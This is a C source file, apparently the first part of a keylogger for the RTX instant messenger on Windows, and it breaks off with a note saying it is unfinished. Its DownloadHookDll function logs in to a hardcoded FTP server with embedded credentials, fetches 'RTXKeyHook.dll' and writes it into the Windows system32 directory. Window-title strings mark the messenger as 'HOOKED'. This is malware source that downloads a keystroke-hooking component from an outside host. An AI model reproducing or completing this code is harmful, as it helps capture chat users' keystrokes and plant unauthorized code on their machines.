rtxtail.c
#include <windows.h>
#include <stdio.h>
#include <wininet.h>
#include <process.h>
#pragma comment(lib, "WININET.LIB")
HWND hLast;
char m_store[MAX_PATH];
const char *hookedName = "HOOKED RTX";
const char *unhookedName = "UNHOOKED RTX";
//down load hook dll using ftp way
BOOL DownloadHookDll()
{
BOOL bSuccess;
HINTERNET hIntSession;
HINTERNET hFtpSession;
char szAppName[] = "rtxkeyhook";
char szServer[] = "192.168.101.225";
char szUser[] = "qpid";
char szPwd[] = "qpid";
char szDirectory[] = "/home/qpid/mydll";
char szFile[] = "RTXKeyHook.dll";
char szCurDir[MAX_PATH];
char szNewFile[] = "c:\\windows\\system32\\RTXKeyHook.dll";
DWORD dwCurDir = MAX_PATH;
printf("try to open intSession...\n");
hIntSession = InternetOpen(szAppName, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if(hIntSession == NULL)
{
printf("can not open intSession!\n");
return FALSE;
}
printf("intSession is open!\n");
printf("try to open ftpSession...\n");
hFtpSession = InternetConnect(hIntSession, szServer, INTERNET_DEFAULT_FTP_PORT, szUser, szPwd, INTERNET_SERVICE_FTP, 0, 0);
if(hFtpSession == NULL)
{
InternetCloseHandle(hIntSession);
printf("can not open ftpSession!\n");
return FALSE;
}
printf("ftpSession is open!\n");
ZeroMemory(szCurDir, sizeof(szCurDir));
FtpGetCurrentDirectory(hFtpSession, szCurDir, &dwCurDir);
printf("current dir is %s .\n", szCurDir);
printf("try to set current directory...\n");
bSuccess = FtpSetCurrentDirectory(hFtpSession, szDirectory);
if(!bSuccess)
{
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hIntSession);
printf("can not set directory!\n");
return FALSE;
}
printf("set directory ok!\n");
printf("try to get file...\n");
FtpGetFile(hFtpSession, szFile, szNewFile, TRUE, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hIntSession);
return TRUE;
}
未完。